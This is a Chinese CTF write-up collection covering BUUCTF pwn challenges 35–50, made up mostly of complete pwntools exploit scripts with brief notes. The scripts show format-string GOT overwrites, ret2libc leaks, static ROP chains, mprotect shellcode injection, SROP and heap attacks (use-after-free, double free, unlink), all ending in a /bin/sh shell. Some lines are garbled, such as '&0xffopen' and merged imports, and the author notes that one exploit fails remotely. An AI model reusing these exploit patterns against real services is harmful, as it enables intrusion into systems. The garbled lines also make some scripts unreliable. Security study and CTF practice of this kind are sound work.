35.axb_2019_fmt64 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import * from LibcSearcher import LibcSearchercontext.log_level='debug' p = remote("node4.buuoj.cn" ,28260 ) elf = ELF("./axb_2019_fmt64" ) puts_got = elf.got["puts" ] strlen_got = elf.got["strlen" ] payload1 = "%9$s" + "AAAA" + p64(puts_got) p.sendafter("Please tell me:" ,payload1) print (p.recvuntil("Repeater:" ))puts_addr = u64(p.recvuntil("\x7f" ).ljust(8 ,"\x00" )) libc = LibcSearcher("puts" ,puts_addr) libcbase = puts_addr - libc.dump("puts" ) system_addr = libcbase + libc.dump("system" ) high = (system_addr >> 16 ) & 0xff low = system_addr & 0xffff payload2 = "%" + str (high - 9 ) + "c%12$hhn" + "%" + str (low - high) + "c%13$hn" payload2 = payload2.ljust(32 ,"A" ) + p64(strlen_got + 2 ) + p64(strlen_got) p.sendafter("Please tell me:" ,payload2) payload3 = ';/bin/sh\x00' p.sendafter("Please tell me:" ,payload3) p.interactive()
36.bjdctf_2020_router 1 2 3 4 5 6 7 from pwn import * p = remote("node4.buuoj.cn" ,25552 ) p.recv() p.sendline("1" ) p.recv() p.sendline(";bin/sh" ) p.interactive()
37.[OGeek2019]babyrop
读入一个随机数,然后把随机数读入buf
strlen
可以通过\x00
绕过,然后返回值v5可以被我们利用
a1可以自己设置读取长度,不需要让它等于127,有多大搞多大
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *from LibcSearcher import *p=remote('node4.buuoj.cn' ,28294 ) elf=ELF('./pwn' ) write_plt=elf.plt['write' ] write_got=elf.got['write' ] main_addr=0x8048825 payload1='\0' +'\xff' *7 p.sendline(payload1) p.recvline() payload2='a' *(0xe7 + 0x4 )+p32(write_plt)+p32(main_addr)+p32(1 )+p32(write_got)+p32(4 ) p.sendline(payload2) write_addr=u32(p.recv(4 )) libc=LibcSearcher('write' ,write_addr) libc_base=write_addr-libc.dump('write' ) system_addr=libc_base+libc.dump('system' ) bin_sh_addr=libc_base+libc.dump('str_bin_sh' ) p.sendline(payload1) p.recvline() payload3='a' *(0xe7 + 0x4 )+p32(system_addr) + p32(0 ) +p32(bin_sh_addr) p.sendline(payload3) p.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *p=remote('node4.buuoj.cn' ,28294 ) elf=ELF('./pwn' ) libc=ELF('./libc-2.23.so' ) write_plt=elf.plt['write' ] write_got=elf.got['write' ] main_addr=0x8048825 payload1='\0' +'\xff' *7 p.sendline(payload1) p.recvline() payload2='a' *(0xe7 + 0x4 )+p32(write_plt)+p32(main_addr)+p32(1 )+p32(write_got)+p32(4 ) p.sendline(payload2) write_addr=u32(p.recv(4 )) libc_base=write_addr - libc.sym['write' ] system_addr=libc_base+libc.sym['system' ] bin_sh_addr=libc_base+libc.search('/bin/sh' ).next () p.sendline(payload1) p.recvline() payload3='a' *(0xe7 + 0x4 )+p32(system_addr) + p32(0 ) +p32(bin_sh_addr) p.sendline(payload3) p.interactive()
38.cmcc_simplerop 静态链接,所以程序内有很多函数,本来想直接泄漏libc的,发现puts函数是它自己定义的,所以就找int0x80构造ropchain。
1.直接手写利用链 1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *bss=0x080EAFB8 read=0x0806CD50 int80=0x080493e1 pop_eax=0x080bae06 pop_edx_ecx_ebx=0x0806e850 p=remote("node4.buuoj.cn" ,29923 ) payload="a" *32 +p32(read)+p32(pop_edx_ecx_ebx)+p32(0 )+p32(bss)+p32(0x8 ) payload+=p32(pop_edx_ecx_ebx)+p32(0 )+p32(0 )+p32(bss)+p32(pop_eax)+p32(0xb )+p32(int80) p.sendlineafter("Your input :" ,payload) p.sendline("/bin/sh\x00" ) p.interactive()
2.修改ROPgadget利用链 ROPgadget --binary simplerop --ropchain
pack库:https://docs.python.org/zh-cn/3/library/struct.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from struct import packp = '' p += pack('<I' , 0x0806e82a ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080bae06 ) p += '/bin' p += pack('<I' , 0x0809a15d ) p += pack('<I' , 0x0806e82a ) p += pack('<I' , 0x080ea064 ) p += pack('<I' , 0x080bae06 ) p += '//sh' p += pack('<I' , 0x0809a15d ) p += pack('<I' , 0x0806e82a ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x08054250 ) p += pack('<I' , 0x0809a15d ) p += pack('<I' , 0x080481c9 ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x0806e851 ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x0806e82a ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x08054250 ) p += pack('<I' , 0x0807b27f ) p += pack('<I' , 0x0807b27f ) p += pack('<I' , 0x0807b27f ) p += pack('<I' , 0x0807b27f ) p += pack('<I' , 0x0807b27f ) p += pack('<I' , 0x0807b27f ) p += pack('<I' , 0x0807b27f ) p += pack('<I' , 0x0807b27f ) p += pack('<I' , 0x0807b27f ) p += pack('<I' , 0x0807b27f ) p += pack('<I' , 0x0807b27f ) p += pack('<I' , 0x080493e1 )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *from struct import packr=remote("node4.buuoj.cn" ,29923 ) p = 'a' *32 p += pack('<I' , 0x0806e82a ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080bae06 ) p += '/bin' p += pack('<I' , 0x0809a15d ) p += pack('<I' , 0x0806e82a ) p += pack('<I' , 0x080ea064 ) p += pack('<I' , 0x080bae06 ) p += '//sh' p += pack('<I' , 0x0809a15d ) p += pack(b'<I' , 0x0806e850 ) p += p32(0 )+p32(0 )+p32(0x080ea060 ) p += pack(b'<I' , 0x080bae06 ) p += p32(0xb ) p += pack(b'<I' , 0x080493e1 ) p += pack('<I' , 0x080bae06 ) p += p32(0xb ) p += pack('<I' , 0x080493e1 ) print (len (p))r.sendafter('Your input :' ,p) r.interactive()
3.mprotect 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *mprotect=0x806D870 bss=0x080EB000 pop_edx_ecx_ebx=0x0806e850 read_addr=0x806CD50 p=remote("node4.buuoj.cn" ,29887 ) shellcode=asm(shellcraft.sh(),arch='i386' ,os='linux' ) payload="a" *32 +p32(mprotect)+p32(pop_edx_ecx_ebx)+p32(bss)+p32(0x1000 )+p32(0x7 ) payload+=p32(read_addr)+p32(bss)+p32(0 )+p32(bss)+p32(len (shellcode)) p.recvuntil("Your input :" ) p.sendline(payload) sleep(1 ) p.sendline(shellcode) p.interactive()
39.inndy_rop 和上题一样,静态链接的函数不会调用libc。
1.ida问题 直接f5会报错
1 2 3 Decompilation failure: 80488B2: positive sp value has been found Please refer to the manual to find appropriate actions
Options->General->勾选Stack pointer
找到上述的报错地址80488B2,右击前面地址选择Change stack pointer进行修改
只要让retn的栈指针不为负值就能f5了,这个报错的原因是因为堆栈不平衡导致的
2.直接手写 1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *r=remote("node4.buuoj.cn" ,25099 ) int80=0x0806c943 bss=0x80EAFBA pop_edx_ecx_ebx=0x0806ed00 pop_eax=0x080b8016 read_addr=0x0806D290 payload="a" *16 +p32(read_addr)+p32(pop_edx_ecx_ebx)+p32(0 )+p32(bss)+p32(0x100 ) payload+=p32(pop_edx_ecx_ebx)+p32(0 )+p32(0 )+p32(bss)+p32(pop_eax)+p32(0xb )+p32(int80) r.sendline(payload) r.sendline("/bin/sh\x00" ) r.interactive()
3.ROPgadget && ropper 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *from struct import packr=remote("node4.buuoj.cn" ,25099 ) p = 'a' *(0xc +4 ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080b8016 ) p += '/bin' p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea064 ) p += pack('<I' , 0x080b8016 ) p += '//sh' p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x080492d3 ) p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x080481c9 ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080de769 ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x080492d3 ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0806c943 ) r.sendline(p) r.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *from struct import packr=remote("node4.buuoj.cn" ,25099 ) p = lambda x : pack('I' , x) IMAGE_BASE_0 = 0x08048000 rebase_0 = lambda x : p(x + IMAGE_BASE_0) rop = 'a' *(0xc +4 ) rop += rebase_0(0x00070016 ) rop += '//bi' rop += rebase_0(0x00026cda ) rop += rebase_0(0x000a2060 ) rop += rebase_0(0x0000c66b ) rop += rebase_0(0x00070016 ) rop += 'n/sh' rop += rebase_0(0x00026cda ) rop += rebase_0(0x000a2064 ) rop += rebase_0(0x0000c66b ) rop += rebase_0(0x00070016 ) rop += p(0x00000000 ) rop += rebase_0(0x00026cda ) rop += rebase_0(0x000a2068 ) rop += rebase_0(0x0000c66b ) rop += rebase_0(0x000001c9 ) rop += rebase_0(0x000a2060 ) rop += rebase_0(0x00096769 ) rop += rebase_0(0x000a2068 ) rop += rebase_0(0x00026cda ) rop += rebase_0(0x000a2068 ) rop += rebase_0(0x00070016 ) rop += p(0x0000000b ) rop += rebase_0(0x00027430 ) print ropr.sendline(rop) r.interactive()
4.mprotect 1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *r=remote("node4.buuoj.cn" ,25099 ) mprotect=0x0806DDA0 bss=0x080EB000 pop_edx_ecx_ebx=0x0806ed00 read_addr=0x0806D290 shellcode=asm(shellcraft.sh(),arch='i386' ,os='linux' ) payload="a" *16 +p32(mprotect)+p32(pop_edx_ecx_ebx)+p32(bss)+p32(0x1000 )+p32(0x7 ) payload+=p32(read_addr)+p32(bss)+p32(0 )+p32(bss)+p32(200 ) r.sendline(payload) r.sendline(shellcode) r.interactive()
40.others_babystack 这题本来直接libc泄漏然后做的,结果一直没解出来。然后学习了一下别的师傅的解法。也算有收获。
1.泄漏libc_start_main_ret main函数返回后会调用libc_start_main_ret
函数,所以我们可以通过泄漏这个函数,然后去libcdatabase 找。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *from LibcSearcher import *elf = ELF('./babystack' ) p=remote("node4.buuoj.cn" ,26746 ) p.recvuntil(">> " ) p.sendline("1" ) payload=(0x90 -8 -1 )*"a" +"b" p.sendline(payload) p.recvuntil(">> " ) p.sendline("2" ) p.recvuntil("b" ) canary=u64(p.recv(8 ).ljust(8 ,"\x00" )) info("canary: " +hex (canary)) p.interactive()
执行后发现canary的最后两位不是0,所以减掉。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *from LibcSearcher import *elf = ELF('./babystack' ) p = remote('node4.buuoj.cn' ,28428 ) p.recvuntil(">> " ) p.sendline('1' ) payload = 'a' *(0x90 -0x8 -1 )+'b' p.sendline(payload) p.recvuntil(">> " ) p.sendline('2' ) p.recvuntil('b' ) canary = u64(p.recv(8 ))-0xa log.success('canary:' +hex (canary)) p.recvuntil(">> " ) p.sendline('1' ) payload2 = 'a' *(0x90 +0x8 -1 -1 )+'b' p.sendline(payload2) p.recvuntil(">> " ) p.sendline('2' ) p.recvuntil('b\n' ) libc_start_main_ret = u64(p.recv(6 )+'\x00\x00' ) log.success('libc_start_main_ret:' +hex (libc_start_main_ret)) libc_addr = libc_start_main_ret - 0x020830 p.recvuntil(">> " ) p.sendline('1' ) payload3 = 'a' *(0x90 -8 )+p64(canary)+p64(0xdeadbeef )+p64(libc_addr + 0x45216 ) p.sendline(payload3) p.recvuntil(">> " ) p.sendline('3' ) p.interactive()
2.puts正常泄漏libc 俺也不知道为什么泄漏出来不能用,总之用它给的https://github.com/bash-c/pwn_repo/tree/master/others_babystack
然后one_gadget获取利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *from LibcSearcher import *r=remote('node4.buuoj.cn' ,28428 ) elf=ELF('./babystack' ) r.sendlineafter(">>" ,'1' ) payload='a' *(0x80 +8 ) r.sendline(payload) r.sendlineafter('>>' ,'2' ) r.recvuntil('a\n' ) canary=u64(r.recv(7 ).rjust(8 ,'\x00' )) pop_rdi=0x400a93 libc_start=elf.got['__libc_start_main' ] puts_plt=elf.plt['puts' ] main_addr=0x400908 payload='a' *(0x80 +8 )+p64(canary)+p64(0 ) payload+=p64(pop_rdi)+p64(libc_start)+p64(puts_plt)+p64(main_addr) r.sendlineafter(">>" ,'1' ) r.sendline(payload) r.sendlineafter(">>" ,'3' ) print ("aaa\n" )print (r.recv())start_addr=u64(r.recv(6 ).ljust(8 ,'\x00' )) success("start_addr: " +hex (start_addr)) libc_addr=start_addr-0x020740 libc=LibcSearcher('__libc_start_main' ,start_addr) libc_base=start_addr-libc.dump('__libc_start_main' ) system=libc_base+libc.dump('system' ) binsh=libc_base+libc.dump('str_bin_sh' ) payload='a' *(0x80 +8 )+p64(canary)+p64(0xdeadbeef ) payload+=p64(pop_rdi)+p64(binsh)+p64(system) payload2 = 'a' *(0x90 -8 )+p64(canary)+p64(0xdeadbeef )+p64(libc_addr + 0x45216 ) r.sendlineafter('>>' ,'1' ) r.sendline(payload2) r.sendlineafter('>>' ,'3' ) r.interactive()
第一道heap,看了好多资料,发现其实利用不难理解。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *p=remote("node4.buuoj.cn" ,25736 ) def add (): p.sendlineafter("choice > " , "1" ) def delete (index ): p.sendlineafter("choice > " , "2" ) p.sendlineafter("Index:" , index) def edit (index,value ): p.sendlineafter("choice > " , "3" ) p.sendlineafter("Index:" , index) p.sendlineafter("Ingredient:" , value) def lair (): p.sendlineafter("choice > " , "4" ) p.recvuntil("0x" ) return int (p.recvuntil("\n" ),16 ) def move (value ): p.sendlineafter("choice > " , "5" ) p.sendlineafter("Which kingdom?" , value) def exit_ (): p.sendlineafter("choice > " , "6" ) add() add() add() delete("0" ) delete("1" ) delete("0" ) add() move(str (0x21 )) edit("3" ,str (lair()-8 )) add() add() add() edit("6" ,str (0xDEADBEEF )) exit_() p.interactive()
堆题保护全开,第一道uaf,写的稍微详细点
先测试程序,大概逻辑是要你生成一个level5的怪物,然后进行攻击。但是程序最高只能让你生成level4。
猜测定义了一个结构体,大概是这样
1 2 3 4 struct creature { char * name; int level; }
add函数有几个需要注意的点,首先可以看到strtok函数的参数是v11,原因如下,v11和s之间差的七个字节正是summon和空格的长度。
所以一共会生成两个0x20的堆name->*name->用户输入
调试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import * p=process("./metasequoia_2020_summoner" ) context.terminal = ['tmux' ,'splitw' ,'-h' ] def add(str): p.sendlineafter("> " ,"summon " +str) def show(): p.sendlineafter("> " ,"show" ) def edit(level): p.sendlineafter("> " ,"level-up " +level) def delete (): p.sendlineafter("> " ,"release" ) def exit_(): p.sendlineafter("> " ,"quit" ) def attack(): p.sendlineafter("> " ,"strike" ) add("a" ) gdb.attach(p) pause() p.interactive()
可以看到两个堆,第一个存放了名字的地址,第二个存放了名字。
1 2 3 4 add("a" ) edit("4" ) gdb.attach(p) pause()
接着往下看代码会发现只会free一个堆
最终exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *p=remote("node4.buuoj.cn" ,28696 ) def add (str ): p.sendlineafter("> " ,"summon " +str ) def show (): p.sendlineafter("> " ,"show" ) def edit (level ): p.sendlineafter("> " ,"level-up " +level) def delete (): p.sendlineafter("> " ,"release" ) def exit_ (): p.sendlineafter("> " ,"quit" ) def attack (): p.sendlineafter("> " ,"strike" ) add("aaaaaaaa\x05" ) delete() add("a" ) attack() p.interactive()
43.hitcontraining_uaf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *p=remote("node4.buuoj.cn" ,28630 ) def add (size,str ): p.sendlineafter("choice :" ,"1" ) p.sendlineafter("size :" ,size) p.sendlineafter("Content :" ,str ) def delete (index ): p.sendlineafter("choice :" ,"2" ) p.sendlineafter("Index :" ,index) def show (index ): p.sendlineafter("choice :" ,"3" ) p.sendlineafter("Index :" ,index) add("20" ,"aa" ) add("20" ,"bb" ) delete("0" ) delete("1" ) add("8" ,p32(0x8048945 )) show("0" ) p.interactive()
44.pwnable_hacknote 和上个题一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *p = remote("node4.buuoj.cn" ,27001 ) elf = ELF("./hacknote" ) libc = ELF("libc-2.23.so" ) read_got = elf.got["read" ] puts = 0x804862b def add (size,index ): p.recvuntil("choice :" ) p.sendline("1" ) p.recvuntil("size :" ) p.sendline(size) p.recvuntil("Content :" ) p.sendline(index) def delete (index ): p.recvuntil("choice :" ) p.sendline("2" ) p.recvuntil("Index :" ) p.sendline(index) def show (index ): p.recvuntil("choice :" ) p.sendline("3" ) p.recvuntil("Index :" ) p.sendline(index) add("20" ,"aa" ) add("20" ,"aa" ) delete('0' ) delete('1' ) add('8' ,p32(puts)+p32(read_got)) show('0' ) read = u32(p.recv(4 )) libc_base = read - libc.symbols['read' ] sys = libc_base + libc.symbols['system' ] delete('2' ) add('8' ,p32(sys)+";sh\x00" ) show('0' ) p.interactive()
45.2021深育杯findflag
通过objdump可以查看一些函数名字
稍微修复一下,然后可以发现20行存在格式化字符串。
shift+f12查看字符串,然后ctrl+x找到后门函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *p = process("./find_flag" ) elf = ELF("./find_flag" ) p.recvuntil("Hi! What's your name? " ) p.sendline("%17$p.%19$p" ) p.recvuntil('Nice to meet you, ' ) canary=int (p.recvuntil("00" ),16 ) log.success("canary:" +hex (canary)) p.recvuntil('.' ) main_addr = int (p.recvuntil("6f" ),16 ) log.success("main_addr:" +hex (main_addr)) back_door = main_addr - 0x146f + 0x1231 log.success("back_door:" +hex (back_door)) p.sendlineafter("Anything else? " ,"a" *0x38 + p64(canary) + "a" *0x8 + p64(back_door)) p.interactive()
46.[第六章 CTF之PWN章]fsb
开启了Partial RELRO,所以可以尝试改got表。
挂gdb调试,发现要fmtarg的值再+1。
找到几个重要的地址,比如上图中rbp这个指针,指向了两个栈上的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *p=remote('node4.buuoj.cn' ,28073 ) libc = ELF('./libc-2.27.so' ) elf = ELF('./fsb2' ) p.recvuntil('name:' ) p.sendline('%10$p%11$p%21$p' ) p.recvuntil('0x' ) stack_rdp = int (p.recvuntil('0x' )[:-2 ],16 ) addr1 = int (p.recvuntil('0x' )[:-2 ],16 ) base = addr1 - elf.symbols['vuln' ]-0x3f addr2 = int (p.recvuntil('\n' )[:-1 ],16 ) libc_base = addr2 - libc.symbols['__libc_start_main' ]-0xe7 stack_rsp = stack_rdp+32 free_got = base + elf.got['free' ] system = libc_base + libc.symbols['system' ] for i in range (0 ,6 ): x = 5 -i off = (stack_rsp+x)&0xffopen p.recvuntil('name' ) p.sendline("%" +str (off)+"c%10$hhn" +'\x00' ) ch = (free_got>>(x*8 ))&0xff p.recvuntil('name' ) p.sendline("%" +str (ch)+"c%16$hhn" +'\x00' ) for i in range (0 ,6 ): off = (free_got+i)&0xff p.recvuntil('name' ) p.sendline("%" +str (off)+"c%16$hhn" +'\x00' ) ch = (system>>(i*8 ))&0xff p.recvuntil('name' ) p.sendline("%" +str (ch)+"c%20$hhn" +'\x00' ) for i in range (5 ): p.recvuntil('name' ) p.sendline('/bin/sh' +'\x00' ) p.interactive()
47.SWPUCTF_2019_login
使用fmtarg测试发现ebp的偏移是6。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *io=remote('node4.buuoj.cn' ,28821 ) io.sendline('ydh' ) io.recvuntil('password:' ) io.sendline('%6$p' ) io.recvuntil('wrong password: ' ) change=(int (io.recvline()[2 :],16 )-4 )&0xff pl1='%' +str (change)+'c' +'%6$hhn' io.recvuntil('Try again!' ) io.sendline(pl1) pl2='%' +str (0x14 )+'c' +'%10$hhn' io.recvuntil('Try again!' ) io.sendline(pl2) pl1='%' +str (change-4 )+'c' +'%6$hhn' io.recvuntil('Try again!' ) io.sendline(pl1) pl2='%' +str (0xb016 )+'c' +'%10$hn' io.recvuntil('Try again!' ) io.sendline(pl2) io.recvuntil('Try again!' ) io.sendline('%9$s' ) io.recvuntil('wrong password: ' ) print_add=u32(io.recv(4 )) libc_base=print_add-0x050b60 sys=libc_base+0x03cd10 a=sys&0xffff b=sys>>16 pl3='%' +str (a)+'c' +'%9$hn' +'%' +str (b-a)+'c' +'%8$hn' io.recvuntil('Try again!' ) io.sendline(pl3) io.sendline('/bin/sh' ) io.interactive()
开始看exp一直没看懂,后来发现print_got+2是为了更容易格式化字符串覆盖。
48.rootersctf_2019_srop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *io=process("rootersctf_2019_srop" ) context.terminal = ['tmux' ,'splitw' ,'-h' ] context.arch="amd64" data_addr = 0x402000 syscall_leave_ret = 0x401033 pop_rax_syscall_leave_ret = 0x401032 syscall_addr = 0x40101f frame = SigreturnFrame() frame.rax=0 frame.rdi=0 frame.rsi=data_addr frame.rdx=0x400 frame.rip=syscall_leave_ret frame.rbp=data_addr data = [0x88 *'a' , pop_rax_syscall_leave_ret,0xf ,bytes (frame)] gdb.attach(io) io.recvline() io.sendline(flat(data)) layout = ["/bin/sh\x00" , pop_rax_syscall_leave_ret, 0xf ] frame = SigreturnFrame(kernel="amd64" ) frame.rax = 59 frame.rdi = data_addr frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_addr layout.append(bytes (frame)) io.sendline(flat(layout)) io.interactive()
49.hitcon2014_stkof 从一道题学会unlink。
开启pie,没检测size长度,存在全局变量数组存malloc之后的地址。判断为unlink。
这里要注意一点,unlink检测的p指针和当前存储的地址都是mem指向的地方,所以你会发现都+0x10了。
题目中的setbuf()/setvbuf()函数的作用是用来关闭I/O缓冲区,本题没关闭缓冲区,所以程序在运行的时候会malloc出两个内存区域。
我们首先分配4个chunk,第一个生成的chunk会因为没关闭I/O缓冲区自动申请的chunk导致堆中的chunk排列顺序。我们申请3次才能申请到两个连续的chunk。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *p=remote("node4.buuoj.cn" ,27135 ) elf = ELF("./stkof" ) libc = ELF("./libc-2.23.so" ) free_got = elf.got['free' ] puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ] def alloc (size ): p.sendline(str (1 )) p.sendline(str (size)) p.recvuntil("OK" ) def fill (idx,content ): p.sendline(str (2 )) p.sendline(str (idx)) p.sendline(str (len (content))) p.sendline(content) p.recvuntil("OK" ) def free (idx ): p.sendline(str (3 )) p.sendline(str (idx)) alloc(0x30 ) alloc(0x30 ) alloc(0x80 ) alloc(0x30 )
然后在第二个chunk进行伪造
1 2 3 4 5 6 7 8 9 10 11 target = 0x602140 + 0x10 fd = target - 0x18 bk = target - 0x10 payload = p64(0 ) + p64(0x30 ) payload += p64(fd) + p64(bk) payload += "a" *0x10 payload += p64(0x30 ) + p64(0x90 ) fill(2 ,payload) free(3 )
这时的target里面存放的值就是target-0x18
fill完,free前,可以看到全局链表上存储的都是堆地址
free后,可以看到*0x602150变成了0x602138,此时写入chunk2就等于写入602138的值
1 2 3 payload = "a" *0x10 payload += p64(free_got) + p64(puts_got) fill(2 ,payload)
可以看到在chunk1的位置写入了free的got表
1 2 payload = p64(puts_plt) fill(1 ,payload)
把puts的plt表写入got表。这里补充一下,程序为了延迟绑定,会使用plt,got表,got表没有执行权限,但是它指向的libc库中的函数可以执行,所以我们可以把plt写入got表。
然后因为我们上面写入chunk2为puts的got表,所以可以直接free chunk2。
后面就一样了,直接放脚本了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import *p = process('./stkof' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] elf = ELF("./stkof" ) libc = ELF("./libc-2.23.so" ) free_got = elf.got['free' ] puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ] def alloc (size ): p.sendline(str (1 )) p.sendline(str (size)) p.recvuntil("OK" ) def fill (idx,content ): p.sendline(str (2 )) p.sendline(str (idx)) p.sendline(str (len (content))) p.sendline(content) p.recvuntil("OK" ) def free (idx ): p.sendline(str (3 )) p.sendline(str (idx)) alloc(0x30 ) alloc(0x30 ) alloc(0x80 ) alloc(0x30 ) target = 0x602140 + 0x10 fd = target - 0x18 bk = target - 0x10 payload = p64(0 ) + p64(0x30 ) payload += p64(fd) + p64(bk) payload += "a" *0x10 payload += p64(0x30 ) + p64(0x90 ) fill(2 ,payload) gdb.attach(p,"b *0x400C85" ) free(3 ) payload = "a" *0x10 payload += p64(free_got) + p64(puts_got) fill(2 ,payload) payload = p64(puts_plt) fill(1 ,payload) free(2 ) puts_addr = u64(p.recvuntil('\x7f' )[-6 :]+'\x00\x00' ) log.success(hex (puts_addr)) libc_base = puts_addr - libc.sym['puts' ] system = libc_base + libc.sym['system' ] binsh = libc_base + libc.search("/bin/sh" ).next () log.success(hex (libc_base)) log.success(hex (system)) log.success(hex (binsh)) payload = p64(system) fill(1 ,payload) fill(4 ,'/bin/sh\x00' ) free(4 ) p.interactive()
50.hitcontraining_bamboobox no pie,chunk可以修改,size没有限制,存在存储chunk的数组。判断为unlink
创建两个堆就能看到全局数组的情况
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *p = process('./bamboobox' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] elf = ELF("./bamboobox" ) libc = ELF("./libc-2.23.so" ) atoi_got = elf.got['atoi' ] magic=0x400D49 def show (): p.recvuntil("Your choice:" ) p.sendline(str (1 )) def add (size,content ): p.recvuntil("Your choice:" ) p.sendline(str (2 )) p.recvuntil("Please enter the length of item name:" ) p.sendline(str (size)) p.recvuntil("Please enter the name of item:" ) p.sendline(content) def change (idx,content ): p.recvuntil("Your choice:" ) p.sendline(str (3 )) p.recvuntil("Please enter the index of item:" ) p.sendline(str (idx)) p.recvuntil("Please enter the length of item name:" ) p.sendline(str (len (content))) p.recvuntil("Please enter the new name of the item:" ) p.sendline(content) def free (idx ): p.recvuntil("Your choice:" ) p.sendline(str (4 )) p.recvuntil("Please enter the index of item:" ) p.sendline(str (idx)) target=0x6020C0 +8 add(0x30 ,"a" ) add(0x80 ,"b" ) add(0x30 ,"a" ) fd=target-0x18 bk=target-0x10 payload=p64(0 )+p64(0x30 ) payload+=p64(fd)+p64(bk) payload+="a" *0x10 payload+=p64(0x30 )+p64(0x90 ) change(0 , payload) free(1 ) payload=p64(0 )*3 +p64(atoi_got) change(0 , payload) payload = p64(magic) change(0 ,payload) p.recvuntil("Your choice:" ) p.sendline(" " ) p.interactive()
本地能用,但是远程跑不了,应该是远程的路径有问题。
